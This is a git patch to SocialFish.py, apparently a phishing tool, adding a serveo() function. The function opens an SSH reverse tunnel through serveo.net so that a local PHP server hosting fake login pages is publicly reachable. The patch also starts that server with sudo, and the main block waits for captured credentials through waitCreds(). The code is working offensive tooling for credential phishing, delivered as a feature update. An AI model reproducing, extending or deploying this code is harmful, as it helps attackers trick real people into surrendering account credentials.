From f53c2c260db5ac61172dbcd6d9b24efad46a3c3a Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 28 Jul 2018 12:00:42 +0500 Subject: [PATCH] added serveo (ssh tunneling) (#74) --- SocialFish.py | 29 ++++++++++++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) diff --git a/SocialFish.py b/SocialFish.py index b8ae871..6d4f838 100644 --- a/SocialFish.py +++ b/SocialFish.py @@ -284,9 +284,34 @@ def runNgrok(): url = open('ngrok.url', 'r') print("\n {0}[{1}*{0}]{1} Ngrok URL: {2}".format(CYAN, END, GREEN) + url.read() + "{1}".format(CYAN, END, GREEN)) url.close() + +def serveo(): + system('ssh -R 80:localhost:1111 serveo.net > sendlink.txt 2> /dev/null & ') + sleep(4) + f = open('sendlink.txt', 'r') + a = ['', 'Forwarding', 'HTTP', 'traffic', 'from', '', ' '] + lst = [] + for line in f: + for word in a: + if word in line: + line = line.replace(word,'') + lst.append(line) + f.close() + f = open('sendlink.txt','w') + for line in lst: + f.write(line) + f.close() + url = open('sendlink.txt', 'r') + print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(CYAN, END, GREEN) + url.read() + "{1}".format(CYAN, END, GREEN)) + url.close() + system('rm sendlink.txt') def runServer(): - system("cd Server/www/ && php -S 127.0.0.1:1111") + + system("cd Server/www/ && sudo php -n -S 127.0.0.1:1111 > /dev/null 2>&1 &") + + + @@ -294,6 +319,7 @@ if __name__ == "__main__": try: runPEnv() runNgrok() + serveo() multiprocessing.Process(target=runServer).start() waitCreds() @@ -302,5 +328,6 @@ if __name__ == "__main__": except KeyboardInterrupt: system('pkill -f ngrok') + system('pkill -f ssh') end() exit(0)